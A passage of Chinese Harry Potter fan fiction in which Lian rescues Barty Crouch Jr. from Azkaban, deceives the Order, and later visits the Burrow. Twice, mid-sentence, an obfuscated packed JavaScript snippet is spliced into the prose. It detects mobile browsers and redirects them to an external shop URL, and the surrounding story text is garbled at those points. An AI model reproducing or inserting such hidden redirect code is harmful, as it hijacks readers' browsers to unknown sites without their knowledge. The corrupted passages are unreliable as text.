等她终于找到魔杖站起来时,小巴蒂恐惧的搂着她,莉安能感觉到他在瑟瑟发抖,他本能的想躲开摄魂怪贪婪的大嘴,摄魂怪在离他们很近的地方飘来飘去,不到十英尺了,它们在周围形成了一道坚实的墙,而且越逼越近…那寒气,那无助和绝望如魔咒一般逼来,令人麻木的寒气使她肺部窒息。 一种只有摄魂怪才能带来的死寂正重重笼罩着她,它们现在似乎移动得更快了,发出令她憎恶的那种又长又慢、咯咯作响的呼吸声,品尝着空气里的绝望,围拢了过来——那些高大的黑影极其恐怖,一张张没有眼睛的面孔在兜帽下看着她,但丈夫就在她身边,她能感觉到自己的身体里仍然有一些希望,一些动力… “快,亲爱的!”丈夫的声音像是从很远的地方传来,“守护神,宝贝,快!” 一只黏糊糊的、结痂的大手捏住了小巴蒂的下巴,把他的脸向后扳去,在冰冻般的沉寂中,她举起了魔杖,不管后面会发生什么事,她都不能、也不愿她的爱人经受摄魂怪的吻。 “Expecto atronum! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727489|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她大喊道,心里想的是十四年前那个初见的夜晚。 三只银色的奶牛猫从她的魔杖里奔出来往前冲去。摄魂怪四散逃开,她抓住了丈夫的手臂,带着他拼命往海里游去。 快到了深水区的时候,他们终于离开了反幻影移形的范围,小巴蒂的牙齿都在打着颤,不知道是被摄魂怪影响了,还是被冰凉的海水冻坏了,他把两根魔杖咬在嘴里,双手合拢,把小鸟形态的妻子保护在掌心里,在傲罗们刚刚出现时,幻影移形逃出了噩梦般的阿兹卡班。 回到普威特祖宅的保护咒外面时,小巴蒂浑身湿得像只落汤鸡,一副惊慌失措的样子,他连忙把掌心的鸟儿放回头上,对自己复杂的一挥魔杖,他很快就变得温暖干爽了,然后对着莉安也是同样的操作,她的羽毛很快从湿漉漉的紧贴在身上,又变得蓬松了。 “我得马上回凤凰社去,我不知道有没有人发现我离开了,因为我是从窗户飞出去的,他们以为我在睡觉,”莉安来不及跟他生气,立刻安排后面的事,“你先休息一阵子,让伊夫去熬一些提神药剂,你不能生病,然后让赫洛去陋居等着消息,我有点儿担心罗恩和金妮,最后让闪闪给你准备点吃的,孩子在凤凰社,我会带他们一起回来,你先不要出去,我估计你两次越狱的事很快就会上报纸。” 小巴蒂安静的听着,等她说完了,才用力吻在她唇上,“辛苦你了,早上的海水有点冷。” “你知道就好,你这个坏人,下次再也不救你了,”莉安嘟囔着说,“这可真是助纣为虐…” 小巴蒂这次没有放肆大笑,而是温柔的摸了摸她的头发,“我在家里等你。” 太阳已经升起,门口柔软草地上的每朵野花和梅根野草都在轻轻摆动着,呈现出橘黄色的耀眼的光边,而远处平原上的天空无色而明亮,那光线照到了小巴蒂的脸上,落在他的金发、眉毛和睫毛上,还有他的眼睛里。 莉安望着他,点点头,拿回自己的魔杖,幻影移形了。 她悄悄落在距离格里莫广场不远处的一条小街上,警惕的望着那个敞开的窗口,没发现什么异常,这才又变回蓝知更鸟,叼着魔杖飞进卧室里。 一阵无声的变形过去,莉安躺在床上,想着这惊心动魄的一晚,她再也睡不着了,搂着两个儿子发呆。 一缕阳光慢慢滑过半遮半掩的窗帘,给地板留下一道痕迹,她关掉了灯,仔细的听着外面的动静,唐克斯睡得很熟,她甚至都能听到她细小的呼吸声。 慢慢的,阳光洒满了整间卧室,两个儿子已经醒过来了,大概是饿了,兰斯不停的冲她眨眼睛,盯着她的胸口咂巴嘴,而洛特含着一根手指不断吮吸,渴望的看着她。 她慢慢解开领口,把两个儿子抱在怀里,此时太阳已经完全升起来了,儿子们的脸沐浴在阳光里,窗帘隐约闪烁出朦胧的白光,两个小家伙正在轻声呢喃。 突然有人在大喊大叫,并朝她和唐克斯的卧室这边跑来。 “你们在嚷嚷什么?不会又发生了什么事吧?”门外传来唐克斯迷迷糊糊的声音。 “我刚从威廉森那里得到消息,小巴蒂·克劳奇又逃掉了!”穆迪愤怒的低吼声从门外传了进来,“他进入阿兹卡班甚至还不到半个小时,就在德力士他们刚刚离开那里之后,有人协助他越狱!摄魂怪说有人使用了守护神咒和霹雳爆炸!但它们是瞎子,分不清人类的长相,那个人就像凭空出现的,又凭空消失了,那个渣滓逃跑之前,其他犯人说听到了女人的声音,但是只看到他一个人,不…不是幻身咒,摄魂怪能感应到幻身咒并看穿隐形衣,但小克劳奇从牢房逃跑时那个女人消失了!她在阿兹卡班外面又释放了一次守护神咒,帮助他幻影移形逃掉了!如果她一直跟在小克劳奇身边,从牢房一直到外面,摄魂怪会感觉到的,而不是这种时隐时现!这种情况它们从来没见过!” 说完,穆迪急促的敲了敲莉安的房门,“普威特!你在里面吗?这么吵,你也该醒了!” “这是什么意思?难道你怀疑她?”唐克斯错愕的说。 “但是上次就是她协助小克劳奇逃跑的!” “那是被夺魂咒控制了!” “她那个神出鬼没的丈夫怎么解释?她在三强争霸赛时就有了身孕,而比尔说那个阿克利压根就没去古灵阁!” “但是他会经常去陋居!只是你没看到!” 正当他们一群人争吵时,莉安打开房门,穆迪迫不及待的走了进来,那条假腿走得飞快,他的魔眼不停的扫视整个房间。 “我的确醒了,不过刚才在喂两个孩子,”莉安指了指儿子们,“一到这个时候他们两个就会饿,如果我没有及时喂他们,他们就会大哭大闹,到处找我。” 洛特非常给面子的打了个嗝,一缕白色的液体从他嘴角流出。 “你没有幻影移形吧?”穆迪死死的盯着她。 “这不可能!”小天狼星激烈的嚷道,“我父亲住在这里时,给这栋房子装上了巫师界所知道的所有保密措施,它无法在地图上标绘出来,也施了反幻影移形咒,然后邓布利多又增加了一些他的保护措施,你简直不可能在别处找到一处比这里更安全的房子了,除非她偷偷溜出去,在大门口的台阶上幻影移形——” “可是她没有出去过,”唐克斯说,“我就住在莉安对面,她的任何动静都瞒不过我,你们在楼下有听到、看到她出去吗?这可是傲罗必修的课程——潜行和反潜行,我不认为我察觉不到她溜出去了。” “穆迪,你冷静点,抓了太多黑巫师,让你现在神经过敏——”卢平说。 穆迪怒气冲冲的瞪着他们,莉安冷静的问了一句,“看完了吗?你们的会议也结束了吧?如果没事,我想早点儿回我的房子去。” 穆迪一言不发的走了,拐杖和木头假腿发出噔噔的声音,渐渐远去了,小天狼星松了口气,绽出灿烂的笑容,莉安对他们一一点头,把儿子们抱在怀里。 “不留下来吃饭吗?”唐克斯关心的问。 “不了,人太多,我怕孩子们吵到其他人。” 莉安对他们告别,大步往门外走去,在众人的注视下,离开了凤凰社。 回到祖宅后,赫洛还在陋居没有回来,闪闪仔细的接过了两个孩子,把他们放回婴儿车里,而厨房里支着几口坩埚,在火上噼噼啪啪的熬制着魔药,伊夫正在忙里忙外,照看缓和剂和欢欣药剂。 “巴蒂呢?”莉安拿了一块康沃尔馅饼,低头问闪闪,“他没有出去吧?” “没有,主人在楼上睡觉,他已经吃过饭,也喝了提神药剂,”闪闪的大眼睛闪烁着担忧的光芒,她尖声说道,“他一定很需要女主人,主人刚回来时甚至都在发抖!” 莉安把馅饼三两口塞进嘴里,往楼上奔去。 她轻轻推开卧室的门,小巴蒂正在床上躺着,明明是六月的天气,他身上却盖着一条毯子,双眼紧闭,脸上有些不正常的潮红,耳朵里正在缓缓冒着烟。 他平时健康的像一头野牛,很少生病,莉安猜测他是被摄魂怪影响到了,毕竟他对摄魂怪的精神抗性低的可怜,其他食死徒在阿兹卡班待了十几年,出来还能生龙活虎的打架,可他只待了半年不到就变得病怏怏了,她赶到阿兹卡班时,也不知道他被摄魂怪吸了几口,估计要修养好一阵子,便坐到床边,抚摸他的脸颊,他紧皱的眉头立刻舒展了。 闪闪对于照顾因为摄魂怪而奄奄一的巴蒂少爷极有经验,很快就送来了各种药剂,莉安把药剂灌进小巴蒂嘴里,看他一滴不剩的喝掉,这才脱掉衣服,钻进了毯子里。 莉安搂着他,感觉他的体温有些高,不过等她贴上来时,他的情绪已经缓和多了,呼吸慢慢的、平稳的起伏着。 她不禁有些失魂落魄的在想,他们就像两个看似完全不相关的个体在各自的轨道上奔跑,如果不是和一个多年前的雷雨夜联系在一起,那么这一切都会失去意义。 她喜欢以这种方式解读她的生活——以小巴蒂为线索——仿佛有什么已经按照比生活、比命运本身更明亮、更灿烂的规则安排好了它的每一个事件,那些事件的意义只有回头看时才更显而易见,当时看来纯粹的运气和随机事件突然有了发生的原因,巧合和偶然并不是真正的混乱,但她希望自己最好不要考虑太多的问题破坏它的发展主动力。 比如他们背道而驰的理念、他们的信仰和阵营的冲突,以及他们选择的不同的人生道路。 她简直是疯了,他没疯,她却疯了,他用多么巧妙、多么自然、多么简单的方式闯进了她的世界,让她对他念念不忘,每天晚上都试着和他说话,希望他再次出现,最终放弃努力,听别人跟她说一些关于他的话,那些随意、刻薄而残忍的话。 她想脱掉他的睡衣,让他和她一起,就像一对盘在一起的爬行动物在干燥的撒哈拉沙漠以南的土地上扑腾。 这肯定是一年中最难熬的一天,她讨厌这一天——现在她有充分的理由把他抛在身后,忘掉他,忘掉那个夜晚、穆迪的办公室、曲奇饼干和兰开夏火锅,以及随着圣诞曲的节奏在冰冻的黑湖上咔嚓作响的冰块。 忘了吧,如果她不能忘记,就学会去恨,她想找到一种方法,不仅去恨他,而且去伤害他,或者,与其说是伤害他,不如说是看着他为自己受尽煎熬,就像他对她做过的那样——表面上不告而别,背地里却在享受她对他的思念和眼泪——他想玩狠的,她也会。 他既没有带来快乐,也没有带来爱,没有带来光明,没有带来确信,没有带来和平,更没有缓解痛苦——所有这些话纠缠着她,但这不是拯救,因为她的心脏正忙着和这些话争吵,她徒劳的挥舞着双手,忍不住在想,为什么她会失去理智? 她就像一个跛子蹒跚着去够手杖一样努力在爱他。 突然,他睁开了那双灰蒙蒙的眼睛,她听到了他的声音。 “你现在想要我吗?还是在某个虚构的时刻,在一个不确定的、礼貌的模糊的未来要我?” 他的头转了过来,他的话,他所有的一切都在提醒她,不管他们昨晚走过什么桥,在今天上午这个时刻都被炸毁了,她刚刚下定的决心也从船上掉了下去。 她悲哀的想。 24. 夜晚 莉安醒来时,她望着外面渐渐暗下来的街道,起身把一侧脸颊贴在冰凉的玻璃上,试图让自己更清醒些,她嘴巴里呼出来的一团热气被那盏星球熔岩灯照得闪闪发亮。 在这淡蓝色的柔和灯光下,她身后的小巴蒂睡得正香,虽然脸上毫无血色,但金色的头发服帖的盖在额头上,表情也显得十分餮足。 房间里零零散散的放着各种东西,还扔着许多喝光的魔药瓶,地板上散落着一些揉成一团的纸巾,还有油纸包、馅饼的碎屑和甜品的锡纸托盘,床上的睡衣凌乱的跟长袍摊在一起,桌上放着满满的零食,上面搭着几张闪闪送来的报纸,其中一张的标题非常醒目: [那个连名字都不能提的人回来了] 莉安被头版标题吸引了,拿过报纸仔细看了起来。 「魔法部部长康奈利·福吉在星期五晚上的一个简短声明中证实了那个连名字都不能提的人又回到了这个国家,并且再一次展开了活动。 “我不得不十分遗憾的宣布那个自诩为魔王的巫师——大家知道我指的是谁——还活着,而且又在我们当中活跃起来,”福吉在向记者们致辞时说,他看上去既疲倦又狼狈不堪,“同样遗憾的是我们要报道阿兹卡班的摄魂怪发生了大规模的叛乱,它们已经表示反对继续为魔法部工作,我们相信这些摄魂怪目前正在为那个魔头效力。 我们强烈呼吁魔法界的民众们保持警惕,魔法部正在出版家庭及个人的初步防御指南,并在接下来的一个月内,免费分发给所有的巫师家庭。” 魔法部的此次声明引起了魔法社会的警惕与不安,尽管他们刚于上周三接到魔法部的保证,“无论当前盛传什么谣言,而神秘人正又一次在我们中间活动的说法纯属一派胡言。” 究竟是什么促使魔法部的态度来了一个一百八十度大转弯,详细情况尚不清楚,但是可以确定一点,那个连名字都不能提的人带领一帮追随者于星期二晚上进入了魔法部。 已恢复霍格沃茨魔法学校校长、国际巫师联合会成员以及威森加摩首席巫师等职的阿不思·邓布利多目前为止还没有抽出时间接受采访,他在过去一年中始终坚持认为,神秘人不像大家所希望和深信的那样,他还没有死,他再一次召集了他的拥护者,准备重新夺权,同时,那个大难不死的男孩——」 莉安轻蔑的笑了笑,把报纸撇在一边。 哈利又是大难不死的男孩儿了吗?可是过去这一年,他们无数次在报纸上嘲讽哈利——不是明刀明枪的针对,而是背地里冷枪暗箭,他们讥讽他,在文章中顺带着提他一句,把他当成一个笑料,他们提到他时,把他丑化成一个受愚弄的、千方百计引起别人注意的人,不断假装不经意的说几句关于他的刻毒评论。 碰到一篇毫无根据的报道,他们就会说“这只有哈利·波特才编得出来”之类的话,如果有人出了点可笑的事故什么的,他们就会说“但愿他的额头上别弄出一道伤疤,不然接下来他就会要求我们崇拜他了”。 福吉是幕后操纵者,他想让其他人都认为哈利只是一个蠢笨的男孩,受了邓布利多的指示或者蒙蔽尽说一些荒唐的无稽之谈,就为了使自己出人头地,使这种状况保持下去,完全没想过被舆论针对的哈利只是个十五岁的男孩儿,他能不能承受——当然,福吉可能想到了,但他不在乎,哪怕两年前在魁地奇世界杯上,他慈祥的把哈利介绍给各国部长,表示自己有多么喜欢他——至少表面如此。 真是肮脏又虚伪的政客。 有些人宁可永远蒙着眼罩活下去,也不愿意承认太过令人恐惧的事实,而真理永远掌握在少数人手里。 莉安吸了口气,又打开报纸重新看了下去,被下面那些拍马屁的文字逗乐了,他们现在高度赞扬哈利,说他是“一个呼吁真理的孤独的声音、坚守着自己的立场从未动摇过、被迫忍受奚落和诽谤…” 事实上进行奚落和诽谤的正是他们。 她百无聊赖的又翻了翻,二到四版是“神秘人的最后企图破灭了”,五版是“魔法部应当对我说些什么”,六到八版是“为什么没有人聆听阿不思·邓布利多的声音”,而九版是哈利的独家采访。 至于最后一版,很好,魔法部报喜不报忧的作风又出现了,他们把小巴蒂两次越狱的行为放在最后,只轻描淡写的提了一句可能与摄魂怪叛变有关,而且坚决不肯承认是有人协助小巴蒂,把老巴蒂·克劳奇和她的违法行为捂得死死的——前者是魔法部的巨大丑闻,而后者则是因为魔法部的无能腐败、调查不利——至今没有人知道谁是协助越狱者。 小巴蒂在阿兹卡班里只来得及拍了一张崭新的入狱照就光速越狱,这次他装也不装了,洋洋得意的用手指敲着照片的边框,他挑高了一边眉毛,肆意的笑出了一口咬得紧紧的牙齿。 莉安见他这副肆无忌惮的样子,似乎就是在笑给自己看,她瞪着他的照片好半晌,拿不定主意要不要把这张照片也剪下来贴在床头——她总觉得如果她这么做了,他某个邪恶的目的就得逞了。 她兴致缺缺的折起了报纸把它丢到一边,想起床去吃点东西,可大概是翻动报纸的声音有点吵,小巴蒂醒了过来,又把她拖倒在枕头上,然后翻了个身,压在她身上啃舐她的脖子。 “你不饿吗?我去给你拿点吃的。” “但是这里有很多,”小巴蒂不耐烦的指着桌子上堆成小山似的巧克力蛙和零食,“一看就知道是你那两个表弟送的,他们生意不错。” “没错,他们担心我,”莉安抚摸着他后背上凸起的那条脊椎上的骨头,总觉得他有点瘦,不易察觉的皱了皱眉,“今晚别再胡闹,你需要休息,白天还不够吗?” “跟你在一起,那是怎么也不够的,”小巴蒂亲昵的在她胸前蹭来蹭去,好久才依依不舍的翻到一边,怕把她压得喘不过气来,“我觉得,你真的好爱我,我肯定不是在做梦,因为我的脑子想不出来会有人这么爱我。” “是啊,我好爱你,我是世界上除你母亲之外最爱你的人了,”莉安无可奈何的叹了口气,“所以这一次,你会珍惜吗?还是不会?” “当然会,”小巴蒂听她这么坦诚的说爱,惊讶了一瞬,他的嘴角扬了起来,止不住的高兴,“我会好好考虑的,别生我的气。” “你明白我的意思就好,”莉安喃喃的说,“我准备提交傲罗申请了,等福吉下台,再加上我参加战斗的荣誉,这次应该会十拿九稳了。” “你会成为最优秀的傲罗,”小巴蒂甜言蜜语的说,“也最厉害的傲罗,毕竟你敢单枪匹马闯进阿兹卡班劫狱,并且全身而退,还没有人能怀疑到你头上——” “穆迪已经怀疑我了,他怀疑孩子是你的,”莉安皱着眉说道,“他认为你的身份有问题,但是又找不到证据…” “哦,反正他疯疯癫癫的,看谁都像黑巫师,”小巴蒂不在意的说,“狼来了的故事知道吧?所以不用在意他,只要你不承认,他们也不知道你是阿尼马格斯,这件事便不会被任何人发现。” “我用了和西里斯同样的越狱办法,穆迪迟早会发现的,只是他并不知道我是阿尼马格斯而已,我当然希望自己不会暴露,毕竟我从未出卖过凤凰社的情报,可这种事,说出去谁会信呐?我的丈夫可是食死徒。” “你不怪我吗?” “我怪你,你这个骗子、无赖、疯子、一肚子坏水儿的家伙,”莉安尽量让自己的语气凶狠一些,她气愤的说,“下次我不会救你了,反正…” “反正什么?” 莉安感觉到小巴蒂在一直盯着她,坚定不移,便也警惕的盯着他,直到她意识到,她可能误解了他此刻温柔的讯号,于是迫不及待的想挪开目光,但他的目光仍然在她身上流连,让她很是欢喜,觉得自己可能真的美貌无比,对他的吸引力有那么强,甚至还体会到某种如同爱抚的感受,她不想逃离这种感觉,便钻进他的的怀里,让他紧紧的搂着自己。 她喜欢他目光中暗含的那种与往日的戏谑截然不同的郑重承诺。 “刚才又想嘴硬,”小巴蒂轻轻吻了她的额头,“但看在我这么虚弱的份上,不舍得了。” “你一点儿也不虚弱,”莉安小声嘀咕道,“我不舍得是因为差点又失去你了,巴蒂,你明明很恐惧摄魂怪之吻,可是你仍然愿意为黑魔头做必死的事,哪怕这种死法让你痛苦无比,我说过,有些东西是值得为之去死的,你也认同对不对?所以你当初不该嘲讽我的。” “以后不会了,这一次我又差点死了,我还是那么不甘心,但是跟上次不一样,”小巴蒂平静的说,“上一次我的不甘心是因为仇恨在驱使着我,我想对这个世界复仇,我必须复活黑魔王,我要报复这个老巴蒂不惜跟我断绝父子关系也要获得权利的世界,我要让他的坚持成为笑话,但是这次的不甘心不一样,我想着我的妻子和孩子们,我不知道我死了之后,他们会怎样,他们现在还好吗?” “都很好。” “老巴蒂活着跟死了没区别,我不想做那样的父亲,我不想我死了以后我的孩子也会像我一样怨恨父亲,明明我吃过那样的苦,我怎么能让他们也经历我的人生呢?而你是无辜的,因为你爱上了我,所以你被我拖下了泥潭,你跟着我下地狱恐怕也无怨无悔,但我知道我不能那么做,不能也让那把钎子贯穿你,把你放在火上烤。” “别骗我,巴蒂。” “没骗你。” 莉安能感觉到,他要讲的话已经讲完了,但她还想笨拙的继续他们的对话,但她沉默了。 因为他温暖的微笑突然出现了,没有平时的一丝狡黠、一丝戏谑,只有一点点沮丧,提醒她这个难得一本正经的男人因为她的质疑可能不怎么开心。 “好吧,我相信你了。”莉安如释重负的说。 小巴蒂什么也没说,只是点了点头,但莉安发现,他的点头并非那种表示肯定的点头,而是一种满腹疑虑、漫不经心又徒然神伤的点头,仿佛已经确定她是一个不肯相信她听到的任何一个字的人才会这样。 “别这样,巴蒂,”她说,“你说什么我都愿意相信,即使很多时候我知道你在骗我,但我总会自欺欺人的替你开脱、圆谎,我才是需要一条蒙眼布的人。” 她希望他们能停下彼此之间反反复复的小心试探,她期待直截了当的对话,显然现在他们之间的谈话并不是,她希望他更坦白直接一些,她想要单刀直入的方式,不需要任何语言,或者只需要一个眼神、寥寥数语,而遮遮掩掩、拖拖沓沓的对话让她难以加入。 “我没有骗你,命运让我们相遇,它甚至让你发现了我,又几次三番的拯救我,我又不是什么铁石心肠,我过不了自己女人那关,难道这很丢脸吗?”小巴蒂看懂了她的眼神,斩钉截铁的说,“我很庆幸十几年前没有把你杀死,我也很乐意再见到你,而你对我的期待不止于再一次见面,而是某种更大胆的感情,我满足了你啊,小鬼,你得到了我,而这种事有一就有二,如果你要求,即使我不情愿,但我也会满足你的,只是我需要一些时间来完成自己的转变,你是多么耐心的猎人啊,你捉到我了,还让我以为是我捉住了你,然后不知不觉中,我们的攻守悄悄易位,果然最高明的猎人往往以猎物的形式出现。” “听不懂,我笨,你真会说话。”莉安不满的嘟囔着说。 “天然呆更可爱了,”小巴蒂掐住了她的脸颊,“跟你在一起,我总觉得我都变年轻了,获得了从未有过的活力…” “这句话明明是说给黑魔头的!” “骗邓布利多的,我说黑魔王把我从夺魂咒中释放出来,我获得了多年未有过的活力,可你清楚的知道是你解脱了我呀。” 莉安不想跟他争辩,因为这样的细枝末节毫无意义,命运前进,后退,纵横交错,至于他们如何根据那一点点不牢靠的前因后果来探寻它的意图,它根本就不关心。 她仍旧记得落在壁炉边地毯上他的长袍,和窗边沙发上的最后一阵雷声,记得苦艾酒的清冽气味儿,记得她就趴在他身上。 下雨,她每次在客厅里看见打雷下雨,都会想起他们之间的那场对话。 “所以比我想象得还要糟糕啊。” “什么?” “你在想的事,”小巴蒂说,“那是多久以前的事了?” 莉安知道她的回答可能会让他彻底无语,“快要十五年了。” 忽然间他不再提问,陷入沉默,如她所料,他没有做出任何评论,说这么多年的岁月打马而过,而她的目光还停留在某个已经遥不可及的瞬间上。 “那属于过去,”她这样说,想做些弥补,“那是你,我不能忘掉过去的你。” “没有什么是属于过去的,”小巴蒂马上说道,“你一直在想着我,对吗?哪怕我在你身边,但你忘不了我对你的恶劣。” 她点头,因为她不想说是。 “好吧,”小巴蒂叹了口气,就像面对一个倔强索要糖果的孩子那样无力,“你打算什么时候去魔法部?” “明天。” 他突然又翻了上来,莉安怕他动作过大,连忙制止,“别,你还虚弱着呢,也不知道摄魂怪欺负了你多久…” “我哪里虚弱了?”小巴蒂不服气的高喊,“那是你的错觉!” 说完,他就开始动手动脚。 “可是白天你已经…” “傲罗早出晚归的,趁现在早点做该做的事。” 莉安抱着他,又一次可耻的屈服了,她知道自己已经将灵魂遗失了太久,但此刻她发现灵魂一直都在自己体内,而她却不知去何处找寻,抑或说,没有他她便不知该如何找到——失去了她的灵魂,失去了她的灵魂,她想把这些话说出来,于是便听见自己真的呢喃了起来。 “失去了我的灵魂,已经这么多年了。” “我弄疼你了?” “没有。” 窗外传来了细微的动静,仿佛是赫洛从陋居回来了,但现在莉安才不想关心其他人的事,若问她为何满脑子这些杂乱无章的思绪,那都是因为她深知,她正不顾一切,拼命要抓住那一丝丝真实,同时感觉到这一丝真实随时都可能从她身边滑开,可她拼命挣扎,让自己相信,这一点点真实已被她握在手中,她每一次都会全力以赴,因为害怕失败了,什么东西会把他从她身边夺走。 每当他们在一起的时刻来临,她心中总是一片狂喜,她愿意让他看清她心中的一切,她也希望他从她的脸上看到这一切,而此时此刻,他正在做这世上最慷慨的事情——把他交给她。 “我年纪大了,是不是?” “没有。” “我年纪大了,”他用唱歌一般的声音说,“所以我想早点要女儿。” “什么?”她紧张的抓住了他的后背。 他只是笑了一声,随后不再说话了。 1996年7月31日,陋居。 莉安离开了自己的在傲罗指挥部的小隔间,和唐克斯一起下班,二人朝电梯走去。 “哈利的生日,莫丽邀请我们了,她特意让我带你去,走吧,别这副不高兴的样子了。” “不,我不想去。”唐克斯顶着一头灰褐色的头发,兴味索然的说,她显得极其憔悴,甚至有些病态。 “你怎么回事?一副失恋的样子。”莉安敏锐的打量着她,走进电梯,按了八楼的正厅按钮,电梯“砰”的一声关上了,开始下降,发出了枯燥的摩擦声,而唐克斯则有些惊慌失措。 “我没有。”她仓促的说,躲避着莉安的目光。 “你是不是喜欢西里斯?”莉安狐疑的问,“因为你们是亲戚,所以家里不同意?” “啊?”唐克斯的表情变得有些愣怔,她迷茫的问,“西里斯?不同意?我喜欢西里斯?” “难道不是吗?”莉安更惊诧了,毕竟在唐克斯接触的人群里,小天狼星就是最帅的那个,金妮曾经猜测过,唐克斯肯定暗恋西里斯,却因为亲戚的身份爱而不得。 听了她的分析的莉安:……啊?绝美爱情居然在我身边?!太好磕了! “不,不是!”唐克斯看起来像要哭了似的,她激烈的否认道,“我跟西里斯?不…我跟他没怎么接触!” “行吧,”被正主亲自下场拆cp的莉安无可奈何的说,“那今天的晚饭还是要去陋居吃的,毕竟莫丽要给哈利过生日,听说莱姆斯也会去,这可真稀奇,也不知道邓布利多给了他什么任务,整天神出鬼没的——” “不了,莉安,真的不了…非常感谢…替我向莫丽说声抱歉…祝你们大家今晚开心。” “第八层,正厅。”电梯里一个空洞的女声说。 唐克斯迫不及待的离开了电梯,然后穿过金色大门,匆匆钻进了魔法部的下班壁炉,绿色的火苗蹿的老高,她一下子消失了。 莉安迷茫了一会儿,也钻进了壁炉里,大喊一声,“陋居!” 接着,她开始在熊熊的碧绿色的火焰中飞速的旋转起来,魔法部消失了,她越转越快,手臂紧紧的贴在身体两侧,无数个壁炉飞速闪过,快得简直看不清楚,片刻后,她伸出双手,及时刹住,然后抖了抖身上的炉灰,踏出了陋居的壁炉。 小小的厨房里擦得干干净净,一个美艳修长的年轻姑娘坐在餐桌旁,她披着一头银色的柔顺长发,周身似乎散发出淡淡的银光。 芙蓉正滔滔不绝的筹划着她跟比尔的婚礼,莫丽守着两个大锅,脸上是一副没好气的样子,而其他人不见踪影。 “…比尔和我差不多已经决定只请两个伴娘,金妮和加布丽站在一起会显得非常可爱,我打算让她们穿淡金色的衣服——粉红色配着金妮的头发肯定很难看——” 莉安无力的闭了闭眼睛,小巴蒂一直说她是霍格沃茨最美的女生,但是美不自知,只是性格有些冷冰冰的不近人情,但人缘不错,而他对芙蓉的评价则是大不相同:美而自知,就是太了解自己的美貌了,所以根本不在乎任何人的感受,完全靠美貌横冲直撞,一路碾压过去,这导致大部分女生对她都没有好感。 她知道芙蓉人不坏,很有点法国姑娘的热烈特质在身上,并且她也是勇士之一,毋庸置疑是个优秀的姑娘,但是这个性格让莫丽和金妮都非常不满,就连赫敏也因为初次见面她对霍格沃茨的嫌弃而没有好感,芙蓉给所有人的第一印象都是糟糕透了——除了罗恩那个对媚娃没有任何抵抗力的家伙,还有哈利这个大心脏。 “啊,亲爱的,我的莉安!”莫丽大声说,打断了芙蓉的长篇独白,“你能来真的太好了,毕竟傲罗指挥部那么忙…哈利他们都在楼上,赫敏也在这,一会儿就能吃晚饭了…诶?你怎么没把唐克斯也带来?” 莉安睁开眼睛,有气无力的说,“我觉得唐克斯好像有心事,我这一个星期每天都邀请她,但她一直推拒,刚才我又邀请她,但她很快就离开了。” “那个唐克斯,她现在变得不修边幅了,”芙蓉一边若有所思的说,一边对着一把茶匙的背面照了照她美丽的脸蛋,“要我说,这可是个很大的错误——” 莉安又闭上了眼睛。 芙蓉这副以自我为中心的性格简直惨不忍睹。 “是啊,多谢你啦,”莫丽尖刻的说,又一次打断了芙蓉的话,“莉安,你去和他们待一会儿吧,金妮可是很想你啊,一会就下来吃饭吧,你们可要帮忙摆碗碟,不然一会儿又要忙成一团了,噢,莱姆斯也快来了。” “好的,我这就去。”莉安如蒙大赦,逃跑一般的离开了厨房这个是非之地。 “我看她的丈夫长得不怎么样呢,根本没有比尔帅气,我真不知道莉安看上他什么了…” “你说的对,我真后悔!” 莉安已经走到了陋居歪歪斜斜的楼梯上,还能听到芙蓉的吐槽以及莫丽气急败坏的喊声。 “哈利?金妮?罗恩?赫敏?”她敲了敲门。 “莉安,你来了!”开门后,金妮扑上来拥抱了她。 “最近怎么样?是不是很盼着开学?”进了房间之后,莉安把门关上,又拖过一个硬纸箱,坐在上面,关心的问,“这几天还是不高兴吗?噢还有哈利,生日快乐!” 哈利笑着点了点头。 “和她住在一起,除了罗恩谁会高兴呢,芙蓉是一个懒婆娘,不过,比尔喜欢来点儿冒险,来点儿精彩,所以他才会喜欢黏痰…”金妮气愤的说。 (芙蓉Fleur的名字法语读音与黏痰Phlegm英语读音相近) 罗恩有些尴尬,而哈利和赫敏都笑出了声。 “我刚才在下面听到她在谈论婚礼——” “是啊,妈妈说他们的订婚太仓促了,而她要在这住一个暑假,说是想多了解我们,但是只有哈利来的时候她最高兴了,总是说起她的妹妹,好像想撮合哈利和她妹妹似的,她还说这里一点儿也不好,除非喜欢烧菜,喜欢鸡!” 说完,金妮眼巴巴的望着莉安。 “但是他们认识一年了吧,好像也不算太短,”莉安安慰道,“没关系,金妮,就算她真的嫁给比尔,也不会影响到你的,我估计比尔会搬出去,陋居太拥挤了。” “没错,比尔打算建房子。”罗恩插了一句。 “但是一年并没有多长时间!”金妮不满的说,“都是因为神秘人回来了,人心惶惶,大家都有一种朝不保夕的感觉,所以,本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727490|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要时间好好考虑的事情,全都匆匆忙忙就做了决定,妈妈说,上次神秘人得势的时候就是这样,到处都有人私奔。” “可是我和乔希也很快就结婚了,甚至不到一年,”莉安耐心的安抚着气呼呼的金妮,“只要比尔喜欢就好,毕竟是他们两个要过以后的生活,就像我,我对芙蓉没什么感觉,不过我不在意,她又不是嫁给我,是不是?这个问题让比尔烦恼去吧。” “我只是为比尔有些不值——” “我知道,你觉得芙蓉和比尔不搭配,你心疼比尔,但是比尔可是乐在其中啊,”莉安诙谐的说,“毕竟芙蓉很美,美到可以原谅她有时候的小冒犯…” “你说的对。”罗恩嘟囔着说。 